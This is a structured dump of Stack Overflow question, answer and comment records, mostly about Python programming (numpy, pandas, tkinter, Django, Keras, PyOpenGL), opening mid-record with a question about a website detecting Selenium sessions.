has body: I assumed that the chrome browsing session opened by Selenium would be the same as the google chrome local installation. But when I try to search on this website, even just open it with selenium and manually control the search process, I will get an error message where as the search result returns fine when I use regular chrome with my own profile or in incognito window. Whenever I search on this issue, I find results stating mouse movements or clicking pattern gives it away. But it is not the case as I tried manually control after opening the browser. Something in the html request gives it away. Is there anyway to overcome that? The website in question is: https://www.avnet.com/wps/portal/us The error message when in automated session.
has answer: http://stackoverflow.com/a/49588598
tagged with: selenium
has comment: http://stackoverflow.com/comment/86174499
downvote count: 1
favorite count: 0
linked to: http://stackoverflow.com/q/33225947
type: Question
has comment: http://stackoverflow.com/comment/86174830
possible better answer: http://stackoverflow.com/a/49588598

http://stackoverflow.com/q/49443880
answer count: 2
downvote count: 0
has answer: http://stackoverflow.com/a/49446270
upvote count: 1
score: 1
tagged with: probability
has title: Numpy/Scipy: Singular Matrix Calculating probability of multivariate observation
tagged with: scipy
favorite count: 0
type: Question
tagged with: numpy
possible better answer: http://stackoverflow.com/a/49444609
accepted answer: http://stackoverflow.com/a/49446270
has body: I'm trying to calculate probabilities for observations in matrices where my rows are observations and my columns are features using python. I always get singular matrix errors, even when using random matrices, so I suspect something is wrong with my code: from scipy.stats import multivariate_normal import numpy as np def get_mean(x, axis=0): return x.mean(axis=axis) def get_sigma(x): return np.cov(x, rowvar=False) def get_probabilities(x, mu, sigma): return multivariate_normal.pdf(x, mean=mu, cov=sigma) x = np.random.rand(10,10) t = np.random.rand(1, 10) mu = get_mean(x) sigma = get_sigma(x) p = get_probabilities(t, mu, sigma) This results in: Traceback (most recent call last): File "&lt;stdin&gt;", line 1, in &lt;module&gt; File "&lt;stdin&gt;", line 2, in get_probabilities File "/usr/local/lib/python3.5/dist-packages/scipy/stats/_multivariate.py", line 512, in pdf psd = _PSD(cov, allow_singular=allow_singular) File "/usr/local/lib/python3.5/dist-packages/scipy/stats/_multivariate.py", line 159, in __init__ raise np.linalg.LinAlgError('singular matrix') numpy.linalg.linalg.LinAlgError: singular matrix What am I doing wrong?
tagged with: python
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/49444609

http://stackoverflow.com/q/49585555
has answer: http://stackoverflow.com/a/49588846
tagged with: python
has comment: http://stackoverflow.com/comment/86179189
has comment: http://stackoverflow.com/comment/86181772
score: 1
answer count: 1
downvote count: 0
tagged with: utf-8
upvote count: 1
tagged with: fedora
has body: I have a problem with a CGI script in Python3. When I try to open files to write a file name with German special characters like Ä or Ö, I always get an error message because of the encoding. The output of locale.getpreferredencoding()).name is ASCII but I want UTF-8. How can I switch this to UTF-8? Do I have to change the apache configuration? It is running fine on my Mac but not on the Linux machine. How do I do this in fedora24? The module mod_env is loaded. The Variable LANG is also set to en_US.utf-8. I tried this: out = open('files/' + name , 'wb', _block_size) name is an UTF-8 encoded string. And I get this error message: 'ascii' codec can't encode character '\u0308' in position 10: ordinal not in range(128) It's because there is an "ä" -character in the filename.
has comment: http://stackoverflow.com/comment/86182585
favorite count: 0
type: Question
has title: Python3 CGI-Script Environment encoding fedora
tagged with: python-3.x
tagged with: encoding
type: UnansweredQuestion

http://stackoverflow.com/comment/85923784
comment on: http://stackoverflow.com/q/49460212
score: 7
has text: @abarnet is it really necessary to post three separate comments about the same thing. It is obvious he is pretty new, and still learning about PyCharm. Why not just offer some encouragement, and telling him he is doing the right thing.
type: Comment
type: QuestionComment

http://stackoverflow.com/q/49564979
tagged with: parallel-processing
has answer: http://stackoverflow.com/a/49565180
type: AnsweredQuestion
upvote count: 0
downvote count: 2
has comment: http://stackoverflow.com/comment/86138277
tagged with: multithreading
answer count: 1
has comment: http://stackoverflow.com/comment/86138392
has body: I am trying to figure out how to parallelize the following code. I have looked up joblib, concurrent.futures, and multiprocessing modules, but cannot for the life of me figure out how they work from reading the docs and scouring SO/google. Grid is a class object with the appropriate methods defined and it does not matter what order the loop is processed. def ProcessGrid(Grid): #Parallel This Loop for i in range(len(Grid)): Grid[i].AdjustCostMultiplier() Grid[i].FindAllNeighbours(Grid) print("Processing Grid Cell: " + str(i) + " of " + str(len(Grid)),end = "\r") #Return to serial return Grid
tagged with: concurrent.futures
has comment: http://stackoverflow.com/comment/86138645
favorite count: 0
tagged with: multiprocessing
accepted answer: http://stackoverflow.com/a/49565180
type: Question
has comment: http://stackoverflow.com/comment/86138516
has title: Parallelize this code
score: -2
tagged with: python

http://stackoverflow.com/comment/86032940
score: 1
has text: I think you would instead want drop('index', axis=1) if it's before 0.21.0
type: Comment
comment on: http://stackoverflow.com/a/49497345
type: AnswerComment

http://stackoverflow.com/a/49513665
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/86033890
upvote count: 4
accepted answer of: http://stackoverflow.com/q/49512723
has body: I think need: df4 = (df2.reset_index().pivot('index','x','y') .rename_axis('b') .reset_index() .merge(df1, on='b') .rename(columns={True:'y_x', False:'y_notx'})) print (df4) b y_notx y_x 0 3 6.9 5.4 1 4 NaN 9.8 2 7 NaN 7.8 3 8 5.6 NaN Explanation: First pivot second DataFrame merge by inner join (default) rename boolean columns EDIT: Solution for multiple columns: t1 = {'b': [3, 4, 7, 8, 10], 'c':range(5)} df1 = pd.DataFrame(t1, index=[1,2,3,4,5]) t2 = {'x' : [True, False, True, True, False], 'y' : [5.4,6.9,9.8,7.8,5.6], 'v':np.arange(5) + 4.8, 'w':np.arange(5) -2.75, 'Z':np.arange(5) * 0.75 } df2 = pd.DataFrame(t2, index=[3,3,4,7,8]) t3 = {'b': [3, 4, 7, 8], 'y_x': [5.4, 9.8, 7.8, pd.np.nan], 'y_notx': [6.9, pd.np.nan, pd.np.nan, 5.6]} df3 = pd.DataFrame(t3, index=[1, 2, 3, 4]) df4 = (df2.set_index('x', append=True) .unstack() .rename(columns={True:'_x', False:'_notx'}) .rename_axis('b')) df4.columns = df4.columns.map('_'.join) df4 = df4.reset_index() .merge(df1, on='b') print (df4) b Z__notx Z__x v__notx v__x w__notx w__x y__notx y__x c 0 3 0.75 0.00 5.8 4.8 -1.75 -2.75 6.9 5.4 0 1 4 NaN 1.50 NaN 6.8 NaN -0.75 NaN 9.8 1 2 7 NaN 2.25 NaN 7.8 NaN 0.25 NaN 7.8 2 3 8 3.00 NaN 8.8 NaN 1.25 NaN 5.6 NaN 3
has comment: http://stackoverflow.com/comment/86034135
downvote count: 0
type: Answer
score: 4
answers question: http://stackoverflow.com/q/49512723

http://stackoverflow.com/q/49469447
has body: I have a matrix thing that looks like this: thing.shape (8070829, 2) and I want to scale all elements by some scalingfactor = np.iinfo(np.int16).max/thing.max() to normalize the values. Right now I am iterating over all elements which works, but is really slow: for j, sample in enumerate(thing): thing[j] = [int(sample[0] * scalingfactor), int(sample[1] * scalingfactor)] I thought I could do the following, but the results are not the same: np.multiply(thing, scalingfactor) Is there are more efficient way to normalize a matrix?
has comment: http://stackoverflow.com/comment/85941457
type: AnsweredQuestion
score: 0
has title: Normalize 2D matrix using scalar multiplication in numpy
accepted answer: http://stackoverflow.com/a/49469502
answer count: 1
has answer: http://stackoverflow.com/a/49469502
has comment: http://stackoverflow.com/comment/85941511
has comment: http://stackoverflow.com/comment/85941419
has comment: http://stackoverflow.com/comment/85941444
tagged with: matrix-multiplication
type: Question
tagged with: numpy
tagged with: python

http://stackoverflow.com/q/49484105
tagged with: matplotlib
accepted answer: http://stackoverflow.com/a/49487156
has title: Matplotlib plot stopped updating in tkinter GUI
score: 1
has answer: http://stackoverflow.com/a/49487156
favorite count: 0
tagged with: python-3.x
tagged with: tkinter
type: Question
downvote count: 0
upvote count: 1
tagged with: python
has body: I'm working on this application which involves plotting a line or circle on an empty plot after pressing a button. It was all well until suddenly, the graph just stopped updating. For example: import math import tkinter as tk from tkinter import * import matplotlib import matplotlib.pyplot as plt from numpy import arange, sin, cos, tan, pi from matplotlib.backends.backend_tkagg import FigureCanvasTkAgg, NavigationToolbar2TkAgg from matplotlib.backend_bases import key_press_handler from matplotlib.figure import Figure from matplotlib.patches import Circle # Initialising the graph f = Figure(figsize=(6, 6), dpi=100) a = f.add_subplot(111) root = tk.Tk() class Application(tk.Frame): def __init__(self, master=None): super().__init__(master) self.pack() self.mainwindow() def mainwindow(self): self.add_loci = Button(self) self.add_loci["text"] = "Add Line" self.add_loci["command"] = self.line self.add_loci.pack(side = TOP) # Plotting an empty graph a.set_xlabel('Re') a.set_ylabel('Im') a.grid(b=None) a.plot(0, 0) # Setting up and showing the toolbar and the graph canvas = FigureCanvasTkAgg(f, master=root) canvas.show() canvas.get_tk_widget().pack(side = BOTTOM, fill=BOTH, expand=1) toolbar = NavigationToolbar2TkAgg(canvas, root) toolbar.update() canvas._tkcanvas.pack(side = BOTTOM, fill=BOTH, expand=1) def line(self): a.plot([0, 10], [0, 10]) print('test') app = Application(master=root) app.mainloop() The supposed outcome when pressing the button is that a straight should appear, but it doesn't. I added the print statement to check if the button is working correctly and it does, so I really don't know what the problem here is. I'm currently using Spyder (3.2.4).
answer count: 1
type: AnsweredQuestion

http://stackoverflow.com/q/49504892
answer count: 1
accepted answer: http://stackoverflow.com/a/49505092
tagged with: python
type: AnsweredQuestion
tagged with: pandas
has body: I have a dataframe which contains a column 'Wage' and I want to extract the numbers since this column contains a format like this: '€123K' so I only want to preserve the string of numbers between the two characters € and K so that I get a new column 'Wage2' with only numbers.
score: 1
has comment: http://stackoverflow.com/comment/86013740
has title: Extract a substring in a column which is delimited by two specific characters in Pandas
tagged with: dataframe
downvote count: 1
has answer: http://stackoverflow.com/a/49505092
favorite count: 0
type: Question
upvote count: 2

http://stackoverflow.com/q/49457290
has comment: http://stackoverflow.com/comment/85918055
has comment: http://stackoverflow.com/comment/85917663
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/49458768
has comment: http://stackoverflow.com/comment/85918548
has comment: http://stackoverflow.com/comment/85918903
linked to: http://stackoverflow.com/q/2257441
linked to: http://stackoverflow.com/q/13054057
has comment: http://stackoverflow.com/comment/85919409
has answer: http://stackoverflow.com/a/49457375
accepted answer: http://stackoverflow.com/a/49457375
tagged with: python
has comment: http://stackoverflow.com/comment/85917572
has answer: http://stackoverflow.com/a/49457483
has body: Being a long-time Matlab user, I am accustomed to getting a caution whenever I build a list/array/anything with multiple elements in a loop such that it changes size every time, because that slows things down. As I teach myself Python 2.7, I'm wondering if such a rule applies here to strings. I know exactly how long I want my string to be, and I have a specific list of the characters I want to build it from, but otherwise I want it to be random. My favorite code I've written so far is: def BernSeq(length,freq): """Create a Bernoulli sequence - a random bitstring - of the given length and with the given frequency of 1s""" seq = '0'*length for ii in range(length): num = np.random.rand(1) if num &lt; freq: cha = '1' seq = seq[:ii] + cha + seq[ii+1:] I call this as BernSeq(20,.25) and I get the output '10001000000001011101'. I already tried seq[ii] = '1', but, to put it in IPython's words, TypeError: 'str' object does not support item assignment. So, am I doing this the most Pythonic way, or is there some sleight of hand that I haven't seen yet - maybe a random string or list generator to which I can directly give a list of characters I want it to randomly choose between, the probability I want each possibility to have, and how long I want this string or list to be? (I've seen other questions about random strings, but while they do address how to make it the right length, they are generally trying to generate passwords, with all ASCII characters being equally likely. That's not what I want.)
type: AnsweredQuestion
tagged with: python-2.7
score: 0
linked to: http://stackoverflow.com/q/7257588
tagged with: performance
has comment: http://stackoverflow.com/comment/85917908
tagged with: random
upvote count: 1
possible better answer: http://stackoverflow.com/a/49457400
has comment: http://stackoverflow.com/comment/85917938
downvote count: 1
tagged with: processing-efficiency
has title: Efficient list building in Python
has answer: http://stackoverflow.com/a/49457400
has comment: http://stackoverflow.com/comment/85918060
linked to: http://stackoverflow.com/q/1876191
answer count: 4

http://stackoverflow.com/a/49530479
has body: Using lambda in the following way should fix your problem; It will ensure that the button only runs the code when pressed, rather than beforehand (when the program runs). command=lambda: validateStylist(window) So, for clarity, your new line would be: finishButton = tk.Button(window, text="Finish", command=lambda: validateStylist(window))
score: 1
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/49530259
upvote count: 1
accepted answer of: http://stackoverflow.com/q/49530259
downvote count: 0
type: Answer

http://stackoverflow.com/comment/86018164
type: QuestionComment
has text: *the order of --vars --insts is not stored anywhere*: it is, in `sys.argv`. Why must they be given in that order, what problem is created when they are given in a different order?
score: 0
comment on: http://stackoverflow.com/q/49506868
type: Comment

http://stackoverflow.com/comment/86131077
comment on: http://stackoverflow.com/q/49560420
has text: I dont understand what those plots are. But the only discrepancy I find between your 2 versions is the TF one uses same padding for pooling layers which is unusual and probably the source of error.
score: 1
type: Comment
type: QuestionComment

http://stackoverflow.com/q/49537107
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/49537328
possible better answer: http://stackoverflow.com/a/49537328
has answer: http://stackoverflow.com/a/49537301
accepted answer: http://stackoverflow.com/a/49537301
tagged with: django
tagged with: python
has body: I would like to make a query to a Django Model, but I do not know the fields to retrieve in advance. If I happen to know them and their number, I would do MyModel.objects.values('field1', 'field2') Indeed, I noticed that the values method takes optional positional arguments, *fields, as specified in the API reference. Therefore, I thought of making a function, which takes *fields arguments and then using such args for my query. The wrapper would look like this: def get_values(self, *fields): return MyModel.objects.values(fields) However, I get an AttributeError: 'tuple' object has no attribute 'split' as the QuerySet API does not like my tuple. How could I work it out?
has title: django queryset api - using values method with a list of fields
type: AnsweredQuestion
answer count: 2
tagged with: django-queryset
downvote count: 0
upvote count: 1
score: 1

http://stackoverflow.com/comment/86009652
type: Comment
comment on: http://stackoverflow.com/a/49501991
type: AnswerComment
has text: your code works in the notebook, but not in e.g. the interactive backend. Instead, I have to call plt.show to get the same result; drawing the canvas is not sufficient. However, I can't plt.show at that part of my code. Is there a way of dealing with that?
score: 0

http://stackoverflow.com/q/49564523
downvote count: 1
favorite count: 0
type: Question
type: UnansweredQuestion
tagged with: python
has title: Control Visual Studio using python
has answer: http://stackoverflow.com/a/49564630
tagged with: visual-studio
has comment: http://stackoverflow.com/comment/86137916
score: 0
has body: I am building an application in which I would like to control Visual Studio, or at least have access to its compilation and build functionalities using (hopefully) python. I know Visual Studio macros are possible and available but it appears they are in .NET (see doc). Since I would like to automate what I want to do with VS in python I'm looking more for something along the lines of: import vs2016 as controller controller.build() controller.compile() Please note I am not looking to run python code in Visual Studio. This is an altogether different problem that is already widely documented by Microsoft. Is it possible to control Visual Studio within Python? if so, how? if not, what is a viable alternative? let's say I accept that it can only be done with dotnet. In this case how can I relay back to python while keeping it debuggable from a python script? Thanks!
answer count: 1
upvote count: 1

http://stackoverflow.com/comment/86185074
type: Comment
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/49588587
has text: Oh I see, however why isn't it iterating over the whole file directory rather than just the name? And is there any simplistic way to retrieve the entire string rather than it iterate character by character?

http://stackoverflow.com/comment/86165742
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/49578626
type: Comment
has text: @user2357112 It definitely was a mistake, thank you! Yes, I tested it and it indeed will fail.

http://stackoverflow.com/a/49595021
upvote count: 2
score: 2
downvote count: 0
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/49594174
has body: There are two tricky issues that need to be addressed in this code, and both of them are subtle and python-specific. First, you should replace the 0 in glDrawElements(GL_TRIANGLES, 6, GL_UNSIGNED_INT, 0) with None. I suspect this is because PyOpenGL uses ctypes to wrap OpenGL and None is recommended to represent the NULL pointer according to the ctypes documentation. If you need to use offsets for your buffers later, you should look at this answer. Second, if you just do step 1 and run the code, you might find the output to not be what you expect: What happened to our orange rectangle? Well, the problem here is with the data we are passing to our buffer objects. If you are on a 64-bit device, the numpy data types (dtype) will be 64-bit too if not fully specified. OpenGL expects 32-bit floats and integers rather than doubles, so we need to use np.float32 instead. I would also use np.uint32 for your index buffer for consistency's sake, but this is not strictly necessary. If we fix your verts and indices initialization statements to this: verts = np.array([[-0.5, 0.5, 0.0], [-0.5, -0.5, 0.0], [0.5, -0.5, 0.0], [0.5, 0.5, 0.0]], dtype=np.float32) indices = np.array([[0, 1, 3], [3, 1, 2]], dtype=np.uint32) The results should be more like what you expect: Hope this helps!
has comment: http://stackoverflow.com/comment/86206524
has comment: http://stackoverflow.com/comment/86205834
type: Answer
answers question: http://stackoverflow.com/q/49594174

http://stackoverflow.com/q/49481132
upvote count: 1
accepted answer: http://stackoverflow.com/a/49481181
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/49481181
downvote count: 2
has title: The .replace function is not working and does not replace part of my string
tagged with: python
score: -1
has comment: http://stackoverflow.com/comment/85965162
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/85965159
has body: I am working on a code for my robotics team that gets ranks of teams from a website and puts them on a spreadsheet. To get the team, I get a string that outputs "frc""teamnumber". So I want to get rid of the "frc" and just get teamnumber. So I tried using .replace('frc', ''). That didnt work and still printed a "frc""teamnumber". I was wondering if anyone could help me with this. Thanks! `workbook = xlsxwriter.Workbook('SCOUTRANKS.xlsx') worksheet = workbook.add_worksheet() row = 0 col = 0 z = '2018ctsct' def cutit(s,n): return s[n:] bold = workbook.add_format({'bold': True}) merge_format = workbook.add_format({ 'bold': 1, 'border': 1, 'align': 'center', 'valign': 'vcenter', 'fg_color': 'yellow'}) worksheet.write(col, 0, 'Ranks', bold) teamNumber = 'team_key' c = teamNumber.replace('frc','') teamRanks = tba.event_rankings(z).get('rankings') teamrankDict = {} for rank in teamRanks: b = rank.get(c) teamrankDict[rank.get("rank")] = b row = 1 print(teamrankDict) `
answer count: 1
has comment: http://stackoverflow.com/comment/85965155

http://stackoverflow.com/a/49527269
has comment: http://stackoverflow.com/comment/92093970
downvote count: 0
accepted answer of: http://stackoverflow.com/q/49527159
type: Answer
has comment: http://stackoverflow.com/comment/86060091
has comment: http://stackoverflow.com/comment/99807919
has comment: http://stackoverflow.com/comment/86060140
answers question: http://stackoverflow.com/q/49527159
has body: You can get the output shape of a layer by layer.output_shape. for layer in model.layers: print(layer.output_shape) Gives you: (None, None, 64, 64, 40) (None, None, 64, 64, 40) (None, None, 64, 64, 40) (None, None, 64, 64, 40) (None, None, 64, 64, 40) (None, None, 64, 64, 40) (None, None, 64, 64, 40) (None, None, 64, 64, 40) (None, None, 64, 64, 1) Alternatively you can pretty print the model using model.summary: model.summary() Gives you the details about the number of parameters and output shapes of each layer and an overall model structure in a pretty format: _________________________________________________________________ Layer (type) Output Shape Param # ================================================================= conv_lst_m2d_1 (ConvLSTM2D) (None, None, 64, 64, 40) 59200 _________________________________________________________________ batch_normalization_1 (Batch (None, None, 64, 64, 40) 160 _________________________________________________________________ conv_lst_m2d_2 (ConvLSTM2D) (None, None, 64, 64, 40) 115360 _________________________________________________________________ batch_normalization_2 (Batch (None, None, 64, 64, 40) 160 _________________________________________________________________ conv_lst_m2d_3 (ConvLSTM2D) (None, None, 64, 64, 40) 115360 _________________________________________________________________ batch_normalization_3 (Batch (None, None, 64, 64, 40) 160 _________________________________________________________________ conv_lst_m2d_4 (ConvLSTM2D) (None, None, 64, 64, 40) 115360 _________________________________________________________________ batch_normalization_4 (Batch (None, None, 64, 64, 40) 160 _________________________________________________________________ conv3d_1 (Conv3D) (None, None, 64, 64, 1) 1081 ================================================================= Total params: 407,001 Trainable params: 406,681 Non-trainable params: 320 _________________________________________________________________ If you want t…
score: 41
upvote count: 41
has comment: http://stackoverflow.com/comment/139047614
has comment: http://stackoverflow.com/comment/86060308
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/86060893
has comment: http://stackoverflow.com/comment/86060555
has comment: http://stackoverflow.com/comment/99806612
has comment: http://stackoverflow.com/comment/86061020

http://stackoverflow.com/comment/86009854
has text: Possible duplicate of [Parse JSON in Python](https://stackoverflow.com/questions/7771011/parse-json-in-python)
score: 0
comment on: http://stackoverflow.com/q/49502741
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/86003321
score: 0
type: Comment
has text: Please add a [mcve] to the question itself, not all of your code, and not in an external link.
type: QuestionComment
comment on: http://stackoverflow.com/q/49499577

http://stackoverflow.com/comment/86124931
type: Comment
has text: @IMCoins if the value inside the array is bigger than 255, then I want to set the value as 255
score: 0
comment on: http://stackoverflow.com/q/49558388
type: QuestionComment

http://stackoverflow.com/a/49465475
answers question: http://stackoverflow.com/q/49465391
has comment: http://stackoverflow.com/comment/85938068
score: 3
has comment: http://stackoverflow.com/comment/85938420
accepted answer of: http://stackoverflow.com/q/49465391
upvote count: 3
has body: Looks like you know which words you need to replace. Using the following approach will do just that in O(n) time. changes = { '1': 'i', '2': 'put', '3': 'this', '4': 'here' } sentence = ['1', '2', '3', '4'] newsentence = [] for word in sentence: try: newsentence.append(changes[word]) except KeyError: newsentence.append(word) print(newsentence) # ['i', 'put', 'this', 'here'] Explanation: What you've to do here is check if the list item is available in the dictionary. If it is available, use it's value and append that value in the new list. Otherwise, append the value of the old list directly. The code changes[word] in the line newsentence.append(changes[word]) will raise a KeyError if the key is not available in the dictionary. That's why we are catching that error and appending the word directly. Also, note that this code uses the EAFP principle. Note: The following code is to only show you where you were going wrong. Avoid using it (reason mentioned below). To help you understand what's happening in your code, have a look at the following snippet: &gt;&gt;&gt; sentence = ['1', '2', '3', '4'] &gt;&gt;&gt; newsentence = [n.replace('1', 'I') for n in sentence] &gt;&gt;&gt; newsentence ['I', '2', '3', '4'] &gt;&gt;&gt; newsentence = [n.replace('2', 'put') for n in sentence] &gt;&gt;&gt; newsentence ['1', 'put', '3', '4'] &gt;&gt;&gt; newsentence = [n.replace('3', 'this') for n in sentence] &gt;&gt;&gt; newsentence ['1', '2', 'this', '4'] ... In short, you're replacing a single item from the original sentence, i.e. ['1', '2', '3', '4'] each time. To replace all the items replace sentence with newsentence after the first replace line. sentence = ['1', '2', '3', '4'] newsentence = [n.replace('1', 'I') for n in sentence] newsentence = [n.replace('2', 'put') for n in newsentence] newsentence = [n.replace('3', 'this') for n in newsentence] newsentence = [n.replace('4', 'here') for n in newsentence] print(newsentence) # ['I', 'put', 'this', 'here'] But, avoid this code, as th…
has comment: http://stackoverflow.com/comment/85934733
type: Answer
has comment: http://stackoverflow.com/comment/85934748
has comment: http://stackoverflow.com/comment/85939082
has comment: http://stackoverflow.com/comment/85934608
has comment: http://stackoverflow.com/comment/85937955
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/85934771
downvote count: 0

http://stackoverflow.com/comment/85980489
score: 1
type: Comment
type: QuestionComment
has text: Related: https://stackoverflow.com/questions/7585307/how-to-correct-typeerror-unicode-objects-must-be-encoded-before-hashing, https://stackoverflow.com/questions/27519306/hashlib-md5-typeerror-unicode-objects-must-be-encoded-before-hashing. Note that `# -*- coding: utf-8 -*-` defines the encoding of your source file, and is [redundant in Python 3](https://stackoverflow.com/questions/14083111/should-i-use-encoding-declaration-in-python3), since it defaults to utf-8.
comment on: http://stackoverflow.com/q/49488896

http://stackoverflow.com/a/49557691
upvote count: 1
has body: First there is no need to delete PyQt4 or PyQt5 because there is not conflict. Both can be installed and coexist, they have different module/package names after all. And those package names are also the names of the packages in the Python Package Index, not pyqt, but PyQt4 and PyQt5 (PyPI search for „pyqt“).
score: 1
downvote count: 0
answers question: http://stackoverflow.com/q/49537522
has comment: http://stackoverflow.com/comment/86151743
type: Answer

http://stackoverflow.com/comment/86140039
type: QuestionComment
has text: In Go try this function https://golang.org/pkg/net/http/httputil/#DumpResponse, and make sure nothing else reads the body before that, if it does you need to reset the body yourself. You can take a look at DumpResponse's source to see an example of how to reset the body after reading it (https://golang.org/src/net/http/httputil/dump.go?s=8166:8231#L271) effectively allowing another subsequent read of the body.
score: 0
type: Comment
comment on: http://stackoverflow.com/q/49565749

http://stackoverflow.com/comment/86197728
comment on: http://stackoverflow.com/a/49595156
type: AnswerComment
has text: You said `dfs` was a Dataframe, not a series
score: 0
type: Comment

http://stackoverflow.com/comment/86099569
has text: provide a [mcve]
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/49546052

http://stackoverflow.com/q/49463508
has title: detect lines on digital xray image using opencv
type: Question
type: UnansweredQuestion
tagged with: python
tagged with: computer-vision
downvote count: 1
tagged with: opencv
score: 0
answer count: 0
has comment: http://stackoverflow.com/comment/85931549
has comment: http://stackoverflow.com/comment/85941856
upvote count: 1
has body: I am looking to detect lines on an x-ray image using OpenCV. Please see the attached sample images. I am aware of Hough transform. Is there any other reliable approach using OpenCV or any other C++ library ? I am also looking to somehow determine the confidence for each detected line, such as line[20] has confidence of 1 (maximum), line[30] has next best confidence of 0.95 and so on Sample Image Output Image (potential lines are circled) Any help will be really appreciated in this regard
favorite count: 0

http://stackoverflow.com/q/49464705
downvote count: 0
upvote count: 1
type: UnansweredQuestion
score: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/85932565
has comment: http://stackoverflow.com/comment/85933150
type: Question
tagged with: pandas
tagged with: http://stackoverflow.com/tag/csv
has comment: http://stackoverflow.com/comment/85932613
has title: pandas to_csv: suppress big number scientific notation in csv file
has comment: http://stackoverflow.com/comment/86023425
tagged with: dataframe
has body: I'm trying to write data into csv. But big number is converting to exponential format. My data is like 10 to 15 digit account number, mobile number, etc. Eg: 1083016404775 converts to 1.083016e+12 Code being used: itr = pd.read_sql_query(sql, connection, chunksize=chunksize) for i in itr: if count == 0: print i df.append(dd.from_pandas(i, chunksize=chunksize)) else: i.index += count * chunksize df.append(dd.from_pandas(i, chunksize=chunksize)) count += 1 dfs = dd.concat(df) csv_file = os.path.join(csv_dir, str(tnl+'-*.csv')) csv_file_name = os.path.join(csv_dir, str(tnl+'.csv')) dfs.to_csv(csv_file,index=False,encoding='utf-8') header_saved=False filenames = glob(csv_file) ddf = pd.concat((pd.read_csv(f,header = 0) for f in filenames)) ddf.to_csv(csv_file_name,index=False,encoding='utf-8') for hgx in filenames: os.remove(hgx) I even tried using float_format='{:f}'.format but i'm getting the error: Unknown format code 'f' for object of type 'str' Also tried pd.set_option('precision',2) but no luck
tagged with: python
has comment: http://stackoverflow.com/comment/85932687
has comment: http://stackoverflow.com/comment/85932488
has comment: http://stackoverflow.com/comment/85932454
has comment: http://stackoverflow.com/comment/85932419
tagged with: scientific-notation
has comment: http://stackoverflow.com/comment/85932511
has comment: http://stackoverflow.com/comment/85932474
answer count: 0

http://stackoverflow.com/q/49494078
possible better answer: http://stackoverflow.com/a/57043736
has comment: http://stackoverflow.com/comment/85991916
has comment: http://stackoverflow.com/comment/128120506
has comment: http://stackoverflow.com/comment/85991950
upvote count: 3
has title: Find the median from a dictionary of values and number of their occurences?
linked to: http://stackoverflow.com/q/24101524
favorite count: 0
has answer: http://stackoverflow.com/a/49494823
type: Question
tagged with: python-3.x
accepted answer: http://stackoverflow.com/a/49553837
has answer: http://stackoverflow.com/a/69457337
answer count: 5
has comment: http://stackoverflow.com/comment/85992227
has answer: http://stackoverflow.com/a/49553837
has answer: http://stackoverflow.com/a/57043736
tagged with: python
score: -1
has comment: http://stackoverflow.com/comment/85992768
has answer: http://stackoverflow.com/a/72527964
has comment: http://stackoverflow.com/comment/85992161
type: AnsweredQuestion
has body: I have a dictionary that looks like this (although is much larger): data = { 100: 8, 110: 2, 1000: 4, 2200: 3, 4000: 1, 11000: 1, } Each pair consists of value:number of occurrences in my dataset. I need to calculate the median of my dataset. Any hints/ideas how to do it? I am using Python 3.6 EDIT: I don't want to create a list (because of the size of my dataset). The size of the list was actually the very reason to use a dictionary instead. So, I am looking for another way.
downvote count: 4
has comment: http://stackoverflow.com/comment/86001079

http://stackoverflow.com/comment/86037025
comment on: http://stackoverflow.com/q/49515651
type: QuestionComment
has text: @KarlAnka. Potentially, but OP should know this about their data. As such, looking for object type seems to work, this is just a potentially better way.
type: Comment
score: 0

http://stackoverflow.com/comment/86198600
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49589527
has text: 30s is quite slow, but as far as I can see, the API uses just 4 tables with some indexes, but not the common permutations, e.g. `pos` which would be used in your example. It's also not clear how the SPARQL to SQL rewriting works. Is the join done on client side, is there a push down of filter predicates, etc. At least, for your query there should be a single join on two tables - Stanislav already mentioned this. `ORDER BY` + `OFFSET` can also be expensive. Clearly, the developers should give you better answers, you should contact them.
score: 0

http://stackoverflow.com/q/49474935
upvote count: 6
has title: regex in django 2.0 re_path
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/49475005
has body: I'm fairly new to python and Django, so please excuse me if this seems like too simple a question. I've been trying to use this in CreateView, but it is not working: re_path(r'^&lt;str:pk&gt;/$', indexView.as_view(), name='index'), Can anyone tell me why, and how to fix this?
tagged with: django-views
accepted answer: http://stackoverflow.com/a/49474955
downvote count: 0
tagged with: django-urls
has answer: http://stackoverflow.com/a/49474955
possible better answer: http://stackoverflow.com/a/49475005
favorite count: 0
type: Question
answer count: 2
score: 6
tagged with: django
tagged with: python
tagged with: regex

http://stackoverflow.com/comment/85897055
has text: Ah, you're right ;) It's flawed. It's just for a learning purpose, so it doesn't matter if case-sensitive or case-insensitive (I guess, .lower() would do that). But they do not need to be ordered correctly.
comment on: http://stackoverflow.com/q/49447643
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/86030723
score: 1
type: Comment
type: QuestionComment
has text: Give me your code.
comment on: http://stackoverflow.com/q/49513036

http://stackoverflow.com/a/49577599
has comment: http://stackoverflow.com/comment/86162902
score: 0
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/49577386
type: Answer
has body: This should work, assuming the output of your getEdition method is of a consistent and sortable type. ArrayCD = sorted(ArrayCD, key=lambda x: x.getEdition())
answers question: http://stackoverflow.com/q/49577386

http://stackoverflow.com/q/49594697
tagged with: python
has title: How to End Loop With Keypad (ESC)?
